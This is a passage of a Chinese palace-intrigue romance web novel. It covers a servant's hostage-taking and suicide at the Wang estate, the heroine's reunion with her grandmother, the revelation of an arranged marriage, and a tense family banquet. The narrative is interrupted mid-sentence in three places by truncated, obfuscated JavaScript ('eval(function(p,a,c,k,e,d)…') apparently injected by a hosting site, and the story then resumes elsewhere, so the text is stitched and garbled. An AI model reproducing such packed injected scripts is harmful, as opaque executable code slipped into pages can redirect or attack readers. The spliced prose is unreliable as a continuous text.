“自然不会!”我高声续,“我们王家处事素来公正,绝不会恃强凌弱。这位大哥,你说你受了委屈,或许只是误会……” “误会什么!”一唱一和果然激怒了大刘,他愤愤反驳,“不就是嫌我长相丑陋不堪,就狗眼看人低吗?院墙下有老鼠,我只是钻那下面逮老鼠,凭什么说我偷看她更衣?” “大刘啊!”谢宁轩右侧又凑来个带蓝帽的男子,看穿着像是那位名唤松伯的管家,“你疯了吗!有委屈你好好说,老太太会为你做主的,你这是干什么!” “你闭嘴,都是你的错!是你叫我咽下这口气,去园子里洒扫!” “那又怎么了?”松伯又气又急,“前院侍奉不是一样的吗?这事过去就过去了!” “过不去!”大刘愤恨地啐一口,“各个都笑话我痴心妄想,癞蛤蟆想吃天鹅肉!我没有,我没有!我在王宅这些年,忠心耿耿,凭什么冤枉我!” 眼看对话已经点出前因后果,大刘情绪随时会崩溃,谢宁轩忙拦下还要说话的管家,作势斥道:“有纷争,各执一词才要辩个清楚,怎能囫囵吞枣,随意扣帽子便了?” 话音一转,他又朝大刘温声劝,“这事简单,我帮你查个通透,必不叫你承受莫须有的罪名。四姑娘身娇体弱,你看这寒风凛冽,刀剑也不长眼,伤了她,可就真成你的过错了!” “放了她吧!”我亦相劝,“没做过的事,一定能查出来,你相信他,他、他很厉害的,京城第一讼师!” 本来到王宅,是计划用三殿下师爷的名号,既能震慑震慑幕后黑手,也是他往日出门在外常冠的名头,说的顺口不易穿帮,没想到遇到这档子事,又造出个博士与讼师的身份。 好在一路扭转,总算让垂云垂柳和邓科等人,叫惯了“凌公子”的称呼,这稍稍调整,想必小心记记,不会说漏。 这时,天色已经暗下,连彩霞都一纵即逝。王宅四处点上了灯烛,唯院内进不去,只能靠外围借光,昏暗不已。 四姑娘已经冻得脸都青了,谢宁轩还在苦口婆心的劝,从讲大道理到谈被冤枉的具体细节,大刘总算将憋在心中的怨气吐了出来。 “我也想算了,我也想着算了!但今天,管事让给几位小姐处送绿植,人手不够,把我也叫上了。我送到翠阁来,你见了说什么,说什么!” 大刘忽地用力掐住四姑娘的胳膊,对她恶狠狠的叫骂,眼珠泛红,“你说我下贱,把花踹了!我捡起碎片,你还叫我吞下去!说当初没挖了我的眼珠子,是你仁慈!你这个狗婆娘,我对你多么忠心?只因没头没尾的一句瞎话,你就一点不听我解释!” “你活该!”也不知道是不是冷风和恐惧让她再也承受不住,四姑娘一改一直的沉默与瑟缩,亦大声吼道,“在你屋里搜到了我的衣服,你还想解释什么?” “我没拿!我说了我没拿!” “好好好!”谢宁轩赶紧插空说,意图安抚住又被激怒的大刘,“一并查,一并查!不难,不难!你松开手,我这就……” “你混蛋!这种事你也对外说,还敢劫持我!我怎么就这么倒霉,有你这么个小厮!”四姑娘大哭。 三婶心疼坏了,叠声唤着“嘉儿!嘉儿!” 然四姑娘的抱怨,终是激发了大刘的怨恨,他再也不想给我们劝说的机会,也不给自己生路了。 高喊一句“贼婆娘,那你就去死吧”,他便再次举起尖刀,朝四姑娘脖颈捅去。 “嘉儿!”三婶尖叫。 “四表姐!” “不要啊!四妹妹!” 千钧一发之际,伴随着谢宁轩凌厉的命令:“动手!就现在!”邓科自院中屋顶翻身而下,一脚踹到大刘头上。 大刘手臂一歪,匕首旋即滚落,他也被巨大的冲击砸倒在地。然而四下太黑,谁也没注意到他腿间还插着一把锥子。他自地上爬起,就朝也还没站稳的邓科又冲去。 邓科到底是三殿下亲兵,武功了得,就着偏歪的身子滚地错身,堪堪避过危险。待滚动停下,他又即刻跃身而起,平地起跳,膝盖直蹬大刘头顶,后者立马就被拍飞。 这段武打描述看似简单,我和谢宁轩亲眼目睹,却紧张极了,生怕这不要命的主儿伤了邓科或者四姑娘。 在我们身后的三婶等人,则因视线受阻,院中又昏暗,只听到四姑娘惊呼伴随着哀嚎,吓得腿都软了,不由分说就往院中冲,一面还张罗护卫:“杀了那混蛋!敢动我女儿!杀了他!” 谢宁轩的几声“留下性命,留下性命!”全被女子轮番的尖利叫声与护卫们喊打喊杀声淹没。 那厢,大刘绝望之至,偏生倒地时锥子还在手侧。或是本着我不活你也别想好的理念,他竟又爬起,朝一众女眷簇拥的四姑娘方向冲去。 邓科跳跃立在院落反方向,跃身奔来,却不及锥子速度。 关键时刻,还是谢宁轩瞅准时机侧身挡在前方,猛地一扬大氅,挥在了大刘脸上。这程咬金杀出的突然,大刘完全没料到,锥子一偏,就顺着谢宁轩的胳膊划了上去。 饶是昏暗,我还是眼睁睁看着他上臂瞬间冒出血来。 我惊叫一声,大刘也好像被这一幕吓到了。眼看邓科暴怒冲来,他绝望的闭上了眼。抄起锥子,就直直戳向自己的脖子。 “不要!” “不要!” 皮肉划烂的声音淹没在我和谢宁轩的高叫声中,鲜血唰的喷了出来,像是电影放慢,将围捕而来的所有人都惊住。 谢宁轩声声“快救下他!”,可冉冉鲜血不及喘息,只眨眼功夫,大刘便没了声息。 *** 夜晚的王宅乱糟糟一片,我扶着谢宁轩坐到廊下,手忙脚乱的撕下裙摆为他包扎止血。 “没事,羽书,只是擦破点皮。”谢宁轩柔声道,趁小五小六蹦跳来之前,拍了拍我的手背。 泪意疯狂上涌,要不是身旁围着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢宁轩起身,礼貌道:“小问题,不值一提,劳夫人担忧了。” 三婶摆摆手,露出深切的后怕:“方才真是感谢先生大义,于我母女,实乃救命之恩呐!夫君迟迟不归,衙差也来得慢,我家这群护卫,更是僵似木头!真是多亏先生,有勇有谋,手下也那么厉害,知道从顶上突破!” 谢宁轩朝我侧目:“夫人谬赞,邓科是羽书小姐的护卫,还是她调教有道。” 三婶一怔,勉强笑笑,半句感谢也没对我说,就又恭维:“还是先生指挥得宜,拖长了时间让那护卫悄声爬上屋顶。否则大刘丧心病狂,一刀捅下……哎呦,想想都后怕呦!” 谢宁轩闻言便道:“在下也只是举手之劳,可惜没能留下活口,问不出幕后主使了。” 他说这话是有些深意的。 方才四姑娘回房,下人们抬走大刘尸体,他就和我眼神交流,齐齐怀疑今次的劫持没有那么巧合。 观大刘此人言行举止,似乎今天就是冲动为之,包括之后拼命之举,也彷佛得怪四姑娘言语刺激。但时机太耐人寻味了,我这才刚回来呀。 方才小五小六和表妹都提到知晓我会回来,应是我出发后,老爹就写信告知了祖母,也即,幕后黑手或许也知道了。 那,大刘劫持四姑娘,是一桩完全孤立的报复行为,还是与原主之死、橙橙失踪,也有关系? 然而面对谢宁轩特别的用词,三婶只是茫然:“主使?他还要什么主使?下作的东西,偷窥主子,还敢干这档子事!当日真不该听阿松的,还允他继续留下家中!就该直接打死,也不会有今日祸患了!” 我飞快地瞧一眼谢宁轩,他也正递来眼神。 看来,大刘偷窥四姑娘更衣,这是王宅主子们都认定的事实。管家松伯或是出于情谊,或是怜悯大刘,替他说情,给了二次机会,却险些害了四姑娘性命。 但此事追根究底,还需要从大刘到底干没干龌龊事查起,只在主子之间盘问,或许得不出什么。 谢宁轩也明白,便没追问。表妹见三婶动怒,又连声安抚起来。 这时,院外又传来声音,苍老、慈祥。 “怎么回事,小四安全了吗?咦,那是书儿……书儿,是你吗?” 118.小五小六 众人回头行礼,小五小六蹦蹦跳跳上前,抱住了来人的腰。 我定睛一瞧,是个慈眉善目的老太太,在丫鬟的簇拥下赶来。白发盘的齐整,手上的念珠一刻不停着。穿着素雅,白开襟绣着紫色杜鹃花,端庄大方。 “祖母,三姐回来了!” “三姐姐变了!祖母!” 老太太熟练的拥住两个孙女,眼神却始终落在我脸上,是毫不掩饰的喜悦。“书儿,天哪,书儿!阿弥陀佛,你终于回来了!来来,快过来,叫祖母抱抱!” 我不由想起我早就过世的奶奶,心生好感,鼻子一酸,我也朝老太太扑了过去:“祖母!” “书儿!哎呦,臭丫头!”祖母搂我入怀,高兴的不得了,“快叫祖母瞧瞧,怎么这么久才回来,臭丫头都瘦了!” 祖母面上透着心疼心爱,腿脚麻利,抱着我的臂膀也很有力。 她没有重病。我松了口气。 祖母轻拍着我的背,止不住的问:“书儿,阿柳来信说你落水,身子可好了吗?你还记得祖母吗?真怕你连祖母都忘了呦!” 想是落水失忆的消息早就传回了金华,但众人没料到我性情变化这样大。 当下,不管是为了替原主尽孝,还是依我自己的心情,我都不想令祖母担忧,便抬起头憨憨一笑:“忘了不少事,但我才不会忘记祖母呢!我好想祖母呀!” 祖母拉着我的手止不住的抚摸:“记得就好!回来就好!哦对对,”祖母突然想起来还没慰问完四姑娘,连忙追问,“小四怎么样了?” 小五小六抢先发言:“四姐没受伤!在房中休息呢!” “多亏三姐带来的博士和护卫,好生厉害!” “但大刘还是死了!” “他那是自作自受!” 两个小姑娘叽叽喳喳的争论声中,是远离众人还站在廊下的谢宁轩往前走了几步。虽然披风上染着血迹,却丝毫没有破坏他优雅的气质。 他站在不起眼的角落,却像站在舞台中央。 饶是胳膊不适,谢宁轩依旧拱手行礼,笑容谦恭:“老夫人安好。晚辈凌轩叨扰了,实是一路与羽书同行,遇见四小姐遇袭,便失了礼数,没请示就在内宅大放厥词。好在四小姐无碍,老夫人可放心。” 三婶喜悦之色溢于言表,忙道:“哪呀,哪呀,先生太谦逊了。方才多吓人啊,若非您与那厮周旋,又在关键时刻挡下他的刺杀,我们母女或许都……” 说着,三婶拭拭泪,显得有些做作。 “先生大义,我们王家可得好生报恩!尤其您还是御青王府的座上客,屈尊到我们这小地方来,实在是……” 哦,我知道为啥听着有些不适了。 这话里话外,分明在试探谢宁轩,想确认他刚才的自报家门,是真是假呐。 意图有些明显,祖母面露不快。 我只得趁机申明:“祖母,三婶,这位凌先生供职于翰林院,也是御青王的至交好友。这次南下办事,与孙女在路上偶遇。先生好心,怕路上不安全,这才护送孙女回家。” 三婶眼睛都开始放光芒了:“翰林院,那可都是学富五车之辈呀,还和御青王是朋友……哎呦,哎呦,您瞧瞧,我们家这破事劳您费心不说,竟还害得您受伤!” 说罢又招来小厮吩咐,“郎中怎么还没来?快,再派人去通知老爷,速将客院收拾出来,请先生休息。” 谢宁轩表情未变,客客气气的说:“夫人客气了,举手之劳不必挂心。” “您真是太谦虚了!早听说御青王少年英雄,伴驾出征屡受重用,翰林院更是人才辈出!瞧您这么年轻,没想到已有卓越成就,真真风度翩翩,一表人才呐!您到我们家来,蓬荜生辉!” 这恭维着实有些夸张,小五小六捂嘴偷笑,祖母也瞥了她一眼。 三婶犹不察觉,激动的还要发表意见。 这次,祖母开口了。同样也是赞赏,平和实在许多。 “实是劳烦先生,一路护送孙女,远道而来,又逢老妇家中不宁,未曾接风,还累的您受伤,老妇心中有愧。” “老夫人客气了,还望老夫人不要怪罪晚辈不速而来,叨扰了。” 祖母瞧我一眼,似喜似嗔:“我这孙女素是调皮捣蛋,动若脱兔,先生一路护送孙女,真是辛苦了。孙女可有得罪您的地方?” 谢宁轩弯弯眼睛,笑容深了些:“老夫人哪里话,能和羽书一路同行,是晚辈的福气。羽书性格开朗活泼,心性天真无暇,哪有得罪之处。” 此时,我没把他的话放在心上,毕竟面对家长一般都是这种商业吹捧的说辞嘛。因而,我也就疏忽了祖母眼中一闪而过的深意。 “夫人,郎中到了!” 三婶忙道:“快,快请来,为凌先生诊治!” “不必了,羽书方才帮我简单包扎,已经止血了。还是先去瞧四小姐吧,她应该受了惊吓。” “哎呦,那哪行!您这胳膊都……” “好了,既然先生谦让,赶紧让去瞧瞧小四。”祖母打断了三婶又要开始的滔滔不绝,很有决断力,“莫耽搁,之后立即遣来为先生问诊。” 三婶还想说什么,张张口,但见祖母眼风扫过,唯有低头,带领郎中进了屋。 祖母又朝孩子们道:“行了,时候不早了,既然小四没有危险,你们也都回去歇着吧。” 二姐和表妹恭敬立在一旁,听了这话便齐齐福身告退。表妹临走的时候还朝我歪歪头,做了几个口型,似乎是约我明天相见。小五小六则朝我眨眨眼,又做个鬼脸,才三两下跑走。 祖母伸手搂住我,上下打量着:“风尘仆仆的,你瞧这披风都旧了。祖母这就安排人给你裁制新衣。书儿啊,你回来了就好,什么都不用担心,有祖母在,安安稳稳的。” “是,祖母。” “你的棠阁翻修一新了,但今天和祖母睡吧,咱们祖孙好好叙叙旧。” 我怎么能拒绝,当下应声,惹得祖母喜笑颜开,又刮刮我鼻子。 之后,祖母才又朝谢宁轩微笑:“凌先生若不嫌弃,今晚便屈尊下榻客院,明日待我儿回来,定要好生谢过先生。客院就在……” “祖母,孙女送他过去就行。您快去瞧瞧四妹吧,她可受了不少委屈呢。” 祖母也露出几分焦急来,摸摸我的脸,又将披风紧了紧,这才朝谢宁轩点头示意,跟着进了屋。 短短一观,宠爱与心疼不像有假。 看来我之前的判断没有错,无论针对原主的杀机来源于谁,祖母总是可以依靠与仰仗的。但这偌大的王宅,内里绝非风平浪静。想要找出幕后黑手,恐怕不简单。 谢宁轩亦收起了程式化的笑容,肃然道:“羽书,狐假虎威纵然能吓退一时,却不能保你一直平安。之后你就要住在这里,务必万事小心。大刘已死,我想劫持这事就算了了,你祖母应该不会翻到明面上查了。” 我抬腿往院外走,一面先问:“你胳膊还流血吗?” “止住了,只是破皮,别担心。”谢宁轩温和道。 我稍稍定了心,这才点头:“你说的是,我也这么认为,祖母应当不会让劫持内宅女眷的丑事外传,必然就此压下。只是这发生时机,也太巧合了吧!我总觉得不会那么简单,接下来,我还是要查一查。” 谢宁轩垂下眼睫:“你一年不在,又失了记忆,垂云垂柳也是外来的。幕后黑手如果就是王宅的主子之一,你贸贸然查,会不会打草惊蛇?” 是,这确实也是难题。 橙橙失踪这么久,祖母快把金华翻个底朝天,还是没有踪迹。到底是幕后黑手藏得太深,还是调查中,有人刻意阻碍了? 一个大宅,当家主母、管家、掌握些许钱财权力的数个管事。该如何绕过这些人,把他们都装在篮子里筛查一番呢? “对了,你刚自称博士,这算是冒用官员名头吗?我三叔也是官身,不会发现吧?” “不会。”谢宁轩成竹在胸,“翰林院博士众多,京官都未必一一认识,何况地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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屋里哭作一团,许久后,梨梨才止住眼泪,追问我落水缘由。我搪塞两句,便想向她打听橙橙。 毕竟昨晚与祖母重逢,老人家高兴不已,我也不好上来就提扫兴之事。早起祖母又要礼佛,到现在还没结束。 可梨梨还没说出个一二三来,外面丫鬟便传话,说五小姐和六小姐来了。 小五小六打着给祖母请安的名义,实际是来找我玩的。王宅教育环境宽松,对孙女也没有刻板的闺秀要求,原主这个活泼的主儿,没少带着这两个小的上蹿下跳。 我打量一番小五小六,只见两个小鬼扎着一模一样的羊角辫,穿着一粉一黄的套裙,纵身量娇小也不掩一颦一笑的灵动。 二人一进门就叽叽喳喳说天还没亮三叔便去了客院等谢宁轩,后者醒来还吓了一跳。除了满天飞的恭维,还趁着送我回来和救四妹的事,直接将他树立成了恩人,场面感动。 “三姐,你给我们带什么好吃的了吗?”小五大眼珠子滴溜溜的转。 小六探着脖子四下观望:“好像没有给我们的礼物!” 我只得堆笑:“路上走了两个月,什么吃的也放坏了呀。不过我带来了京城时兴的料子,给你们做几身漂亮裙子好不好?” 小五小六显然对裙子没兴趣,只是勉强:“行吧。京城好吃的多吗?” “嗯,还是金华的吃食好吃!” 小六瞪大了眼珠:“真的呀?那京城真没意思!” 小五附和:“三姐你以后不要去了,又没有好吃的!” 我被这俩吃货逗笑了,叫梨梨端上两盘点心。 小五飞快的抓起一块,边吃边问:“三姐,你为什么和凌先生一起来啊?” “就、就路上碰见了呗,以前在京城认识,结伴同行而已。” 小六吃相就斯文多了。她侧侧头,大咧咧的问:“那三姐你这次回来,是同意冲喜,嫁给泉哥哥了?” 119.冲喜 我正端着茶喝,差点喷出去,忙用帕子捂住嘴。 “冲喜?什么?”我大惊。 小五小六却没功夫回答,只见小六激动的站起身来,大吼一句:“哈,三姐想使口喷术!快给我口茶,看我喷回去!”就捞起茶杯大饮一口。 小五更夸张,已经跳到我面前,一口喷了上来。 我被她俩的反应吓懵,一点没闪躲。随着小六又照脸喷来,我生生挨了两下。 “啊哈哈哈哈!”小五狂笑,“三姐没躲掉,太棒了!” 小六拍着手:“以前都是三姐赢,她变傻了!反应慢了!” 我捏一捏往下滴水的衣领,慢慢擦干脸上的口水、茶水,心里正有一头狮子在吼叫。 小五小六乐的不可开交,差点从椅子上翻下去。竟还不过瘾,叫嚣着要再比一次,吓得我连连认输。 小五瞪大了眼珠子:“三姐不好玩了!” 小六也撅起嘴巴:“三姐你变了!” 我极无语,深感王宅的教育宽松过头了! “变不变的,我毕竟落水了嘛……”我搪塞一句,抓住机会先说正事,“嗯,那个,你们能不能先说一下冲喜?这是怎么回事?” 小五抓起刚啃了一半的点心,乐呵呵道:“就是嫁给泉哥哥嘛,这有啥的!” “就是!”小六也不以为然,“名头虽然难听点,反正是嫁给泉哥哥!再说了,三姐你和泉哥哥从小玩到大,又是娃娃亲,你怕什么呀?” 得亏我这会儿没有喝茶,否则又得一轮口喷。 “祖母早就说过,满金华,她就中意泉哥哥,说白家若不是有他,家业早就……” “等一下,你们说的泉哥哥,姓白?”我一怔。 “是啊,白府呀!你怎么连这……”小六突然一拍脑袋,“啊,对哦!三姐失忆了,怪不得她忘了!” 好家伙,合着原主还有一门所谓的“娃娃亲”!这记忆怎么也没留给我! 白家,白家…… 咦,金华城外的红觉寺,我们遇到的车队不就是白家的吗?还有我和垂云意外听到的壁角,那小厮自称就是白家……这么说,当时屋里那位少爷,就是这传说中的“泉哥哥”? 不会吧,这么巧! 我方了,赶紧问:“三叔的官名,我记得不是什么里正啊!” “这不是年中升了吗?东阳县里正!” 那八卦说的还真是原主!三小姐,怪不得也是三小姐! 还说什么了?“高攀”“夫人瞧不上三小姐”“为了老一辈的情谊”…… 我去! 小五正咀嚼的嘴巴一滞:“三姐把这些都忘了?还真是忘得干净!那三姐,你想知道什么,我们告诉你吧。” 失忆还真是个好借口,我赶忙借坡下驴。 两个小祖宗打开了话匣子,天马行空的讲述起来。话语太过凌乱,思维太过跳跃,我多次提醒、多次刹车,才勉强搞明白“冲喜”的来龙去脉。 原来白家祖父和王家祖父是八拜之交,两家速来亲近,彼时儿子辈已经成婚,两位老人家为了两家相互扶持,便定下了孙儿辈的娃娃亲。约好一代只联姻一次,其他儿女通过联姻其他门户,将白王两家聚焦在豪门环绕中,保持兴旺不衰。 原主的大姐长白府大少爷十多岁,岁数相差太大,因此这结亲的任务便落在了原主头上,谁叫原主是第二个嫡女呢。 白老太爷在五年前亡故,白家又开拓了船运的产业,跃至金华首富,白夫人便有些瞧不上渐渐拉开差距的王家了。一年前老爹得知白家态度,便着意接原主离开金华,没想到兜兜转转我又回来了。 白老太爷虽然不在,老太太却是白王姻亲的坚定拥护者,哪怕病重,念叨的都是孙子的婚事。白夫人不敢违拗婆母,加之与王家仍有生意往来,便只得妥协,但名头变成了“冲喜”,白白踩了王家一脚。 其实三叔现在也是官身,也不乐意这份侮辱。无奈白府在金华地位超然,加上原主祖母对白家大少爷的偏爱,便也同意了。 我在心里直骂娘,早知道还有这破事,我就不回来了! 现在跑路还来得及吗? “哎呀,三姐你担心什么呀?”小五撅嘴,“泉哥哥最好了!经常带给我们好吃的好玩的,还带我们出去玩!” “泉哥哥就像话本里的侠客,潇洒又不羁!上回我把墨汁洒到他头上,他还笑嘻嘻的呢,说这叫增添文墨!”小六也弯着嘴角。 我想象不出墨汁倒头的诡异画面,只觉得头大。 小五还在说:“放心吧,泉哥哥脾性可好了,从不见他生气!” “谁说的!”小六却抗议,“上次不是和四姐置气呢嘛!” 我赶紧插话:“为什么呀?” 小五嘻嘻一笑:“四姐喜欢泉哥哥。” “泉哥哥不喜欢四姐!” 原来在原主离开金华后,所有人都默认原主不会回来了。但白王联姻不能断,人选便成了四姑娘。可白家迟迟没有提亲,白少爷在各种场合对四姑娘也是冷冷淡淡,气得后者常常大发雷霆。 “难道白公子不想娶四妹妹?” 小五一拍胸脯:“当然不愿意了!他拒绝了婚约!” 小六一把捂住小五的嘴巴,露出惊慌的表情。小五也意识到不妥,两个眼珠子瞪得浑圆。 看来这是个秘密? 我马上环顾一圈,硬是憋出几声“咳咳”,假装没听见。 小五一脸嫌弃:“三姐,你演的好差。” …… 小六朝我招了招手;“小娘不让我们告诉别人,不过你是三姐姐,那我们就告诉你,拉钩,你不能告诉别人!” 说罢伸出小手,歪着头看向我。 我忍住笑意,和两个小鬼郑重其事的拉了钩,她俩才说:“那天小娘又去红觉寺跪经了,我们俩就溜进祖母院子,想偷吃祖母酿的青梅。祖母正和白老夫人聊天,说将联姻对象换成四姐,白老夫人却拒绝了,说泉哥哥明确不要四姐。祖母长吁短叹了好一阵呢!” 这俩小鬼,还真是听壁脚的好手啊。 “白老夫人还说,她和泉哥哥都不计较嫡庶,换成其他姐妹也可以。但白夫人坚决要嫡女,说已经是低娶,绝不要庶出的了。” 呦,看来这位白夫人,也就是原主所谓的未来婆婆,是个难相处的主儿啊。 小六继续认真说道:“白夫人这话,明显就是不想要我们两个!” 这话令我被糕点卡住喉咙,缓过来忍不住哈哈大笑。 “你们俩?你们俩还是小屁孩呢!想得倒远,现在都想嫁人了!” 小五不服气的噘噘嘴:“谁说我们是小孩!我就愿意嫁给泉哥哥!泉哥哥那儿好玩的可多了!” 小六露出憨憨的笑容:“泉哥哥其实可愿意娶我们俩了!” 我差点又被卡死。 “那天我给泉哥哥说,要是娶不到媳妇,我愿意嫁给他,泉哥哥可高兴了,当即给了我一个大糖人!年画那么大!” 俩小鬼梳着羊角辫,头发上沾着糖霜,糕点屑蹭的满脸都是。嗨!人还未长全,倒在这儿言之凿凿,真是人小鬼大!我被这俩小鬼的天真逗得直笑。 小六不满的直哼哼:“你就笑吧!你要嫁给泉哥哥了!糖人都归你了!” “好啦好啦!糖人我全部拿来送给你们俩,好不好?先继续讲故事嘛,姐姐还没听够呢!”说罢招招手,示意梨梨再搞些糕点来。 小五这才满意:“还是三姐大方!嘻嘻!三姐还要问什么呀?” “嗯,那个……”我踌躇着开口,问到最关键的问题,“原……我和他相处的多吗?” “小时候你们俩经常带着我们出去玩,我的乳牙就是你们俩撞掉的!” 小五指着牙齿控诉,小六嗤嗤直笑:“后来就只有你带着我们出去玩了。偶尔家宴泉哥哥也会来,但咱们都溜出去了呀!” 小时候都没有开窍,一起玩自然无妨。婚约又是早就定下的,两家一定还有意撮合过。无奈原主是个不开窍的玩家,整天带着老五老六上蹿下跳,每每饭局都溜号。 也就是说,在长到需要避讳的年岁后,两个人并不亲近。 幸好原主和白少爷没有两情相悦,我长吁一口气。 “不过三姐,你为什么又回来了?小娘说你要嫁到京城,不会回来了呀?”小五话题一转,灵魂发问。 “嗯……我想祖母想你们了,就回来看看呗!” 小五高兴的拍手:“那三姐你还走吗?你是不是就嫁到金华,不离开我们啦?” 小六可没这么乐观:“三姐嫁了人,还是要离开咱们家的。” “没事,嫁到白家,也不远!而且三姐就能和泉哥哥一起带我们出去玩了!” 小六一听,也朝我投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原来大刘一直是四姑娘翠阁的外围小厮,头脑简单四肢发达,指哪打哪忠心耿耿。可四姑娘的贴身丫鬟翠红,却发现大刘有些鬼祟,说是在抓老鼠,眼睛却往屋里瞟。 翠红拿不住是不是自己多心,就严正警告大刘,恰被路过的小五小六听到壁角。 小五小六年纪小,尚不能分辨此事的重要性,但听她们描述后的生母秦姨娘却吓坏了,当即汇报给了当家主母三婶。三婶一听,宝贝女儿被下人觊觎,这还得了?当下便要打死大刘。 大刘连连喊冤不说,松伯也求情,说大刘素日本份,应当不会干这龌龊事。 吵吵闹闹的,最后还是祖母出面,为防事情闹大影响小姐名声,干脆赶去前院做活。 本以为事件平息,谁能想到,竟又出了昨日祸患,险些害了四姑娘呢? 从小五小六的说辞来看,似乎大刘偷看确有其事,发现者是丫鬟,也没立即声张。若非小五小六这对活宝,或许事情闹不到这么大。 难道这并非幕后黑手的手笔?只是无关的孤立事件? 我琢磨不透,只好再问橙橙一事。然刚张口,垂柳已经敲门进来:“小姐,三老爷派人传话,叫去家宴。” 小五小六眼睛亮晶晶:“啊!最喜欢家宴啦!” 垂柳眨眨眼:“嗯,三老爷说,不叫五小姐和六小姐。” 小五小六眼睛瞬间一暗。 我不由一笑,忙安抚二位小祖宗。今天这顿饭自然是为谢宁轩接风洗尘,出席的不应该有闺阁女眷,若非他与我同行、由我引荐,怕是我也不会被邀。 等我带着梨梨和垂柳赶到饭厅时,谢宁轩和三叔已经到了。我刚与谢宁轩交换了个眼神,三叔的大嗓门就响起来:“书儿回来了?二哥可还好?” 不愧是兄弟,老爹嗓门也不小。 我福了福身:“三叔安好。爹爹身子健朗,您一切可好?” 三叔大笑两声:“哈哈哈,都好都好!去了一趟京城就是不一样,我们家的猴姑娘都变成大家闺秀了!” 我敷衍笑笑,余光瞥到刚好走进来的祖母。她睨了三叔一眼:“别胡说,我们书儿是长大了。来,书儿,坐到祖母身边来。” 三叔尴尬的搓搓手,伸手示意谢宁轩上座。后者推辞片刻,还是坐到了祖母身边。 祖母正要开口说话,忽然厅外传来笑声。 “哎呦,凌先生呀,”三婶从屏风后转了出来,满脸堆笑,“我特来感谢您救了嘉儿呢。来来,嘉儿快来,来谢谢凌先生。” 说话间,四姑娘婷婷袅袅入内。她穿着一身淡紫色的锦裙,腰间云纹相间,越发盈盈一握。肌肤白皙明亮,一双如鹿般的大眼睛更是闪烁动人。 此刻它正落在谢宁轩身上,带着桃花般粉嫩的羞涩。 咦?不是说她喜欢白少爷吗? 120.宅斗 场面静默,祖母第一个沉下了脸。三叔悄悄觑她的脸色,有些不安。三婶更是不敢直视她。 这场景…… 嘶,莫非三叔三婶看上“凌轩”了?这是希望女儿亲近一二,有机会嫁去京城?加上谢宁轩这厮松风水月、宸宁之貌,也不怪三叔三婶有想法。 我带着些许调侃之意望向谢宁轩,他正垂着眼睫,一双眼落在面前的碗筷上,未在四姑娘身上做任何停留。 但三婶误会了,把这种消极当作了不反对,深受鼓舞,吆喝着:“来来,嘉儿,你坐到凌先生身边,好好谢谢……” 祖母打断了她,对着儿子语气不佳:“阿榕,凌先生是上宾,怎么能让嘉儿陪坐?你去陪坐,好好向先生学习学习。嘉儿来,坐到你姐姐身边来。” 三叔已经伸出手示意四姑娘过去,听到这话,身子一滞,慌忙收手。 “对对,母亲说得对。嘉儿不懂规矩万一打扰了凌先生怎么好?还是儿子陪坐。”他递给三婶一个眼神,“你去,叫嘉儿坐在书儿旁边。” 三婶面上潮红,也没敢反驳,拉着四姑娘坐到了我旁边。 场面有些尴尬,我假装没注意,低头玩手。我身后的垂柳不自在的挪了挪步子,梨梨应该是早就适应了,完全没有反应。 四姑娘脸色难看。她睨了我一眼,挺了挺胸膛,慢慢坐了下来。 “凌先生这一路可还顺畅?从京城过来路远迢迢,还一路带着书儿。书儿最是顽皮了,路上可麻烦您了?”三婶一坐定,就开始放大招。 祖母脸色又是一沉。 谢宁轩礼貌回复:“怎么会,羽书灵动活泼,晚辈与她同行,很是愉悦。” 三婶应该觉得这只是客套话,瞥我一眼就继续说:“凌先生太客气了!哎呀,说起来昨天的事,想来真如噩梦一般,那不知死活的家伙对我们嘉儿动粗,已然是惊吓了,竟还反抗抓捕,对着我们又下毒手!昨天若不是您,我们娘俩可就危险了!” “夫人客气。” “您这就是谦虚了!来,嘉儿,快,还不快斟酒谢谢救命恩人!” 四姑娘旋即带着一许羞涩端起酒杯,微微起身。 屁股才离开凳子一寸,谢宁轩声音就响起了,疏离、客气、淡漠:“为官之人,当为百姓除忧。微薄之力,不值一提。” 我能感受到四姑娘的屁股重重落下。 谢宁轩声音却没断,反而转向了祖母,“老夫人,羽书此番南下看望您,一路风雨兼程,没能好好休息。她自落水后,身体中寒气过重,还请府里安排素日调养着。” 祖母脸色微霁,含笑道:“多谢先生记挂。” “嗨,先生莫在意。我们家这书儿,一向调皮,攀高游水,从不娇弱。先生大可放心。”三叔哈哈一笑,大咧咧地说,立马就招致了祖母一个白眼。 谢宁轩也瞟了他一眼,旋即向我投来意味深长的目光。 接下来,谢宁轩便干脆就着翰林院博士的身份,打着采风名义,问起了金华乡情风貌。三婶几番想要插嘴,三叔也有意引导,可惜谢宁轩主导话题,完全把控局面。 四姑娘脸色越发闷红,没吃两口便放下了筷子。 这种场合真是尴尬,我只好就着面前的菜小口扒拉,对面一道红焖猪蹄油光滑嫩,可惜够不着。 我刚刚夹了一筷子青菜,突然一个小瓷碗递到我面前。 “羽书,猪蹄。”我迟缓的抬头,正对上谢宁轩如玉般的笑容,“给,你够不着这边。” 这一幕令我直接僵住,不仅如此,只见全场呆滞,仿佛被人按下了暂停键。 还是祖母最先反应过来,伸手接住了碗,一面笑道:“凌先生真是心细如发,知道书儿最喜欢吃猪蹄。” 三叔第二个反应过来,脸上挤出笑容:“对对,来人,把菜色换一下。要不然我们都是吃半席,对面的菜都吃不到,还是先生想的周到,呵呵呵呵。” 老四和三婶齐齐朝我看来,那目光中能分辨的意思太多,我只能假装看不见。 谢宁轩在搞什么?不是说好隐藏关系,不许向祖母提亲的嘛!咳咳,我还没答应呢! 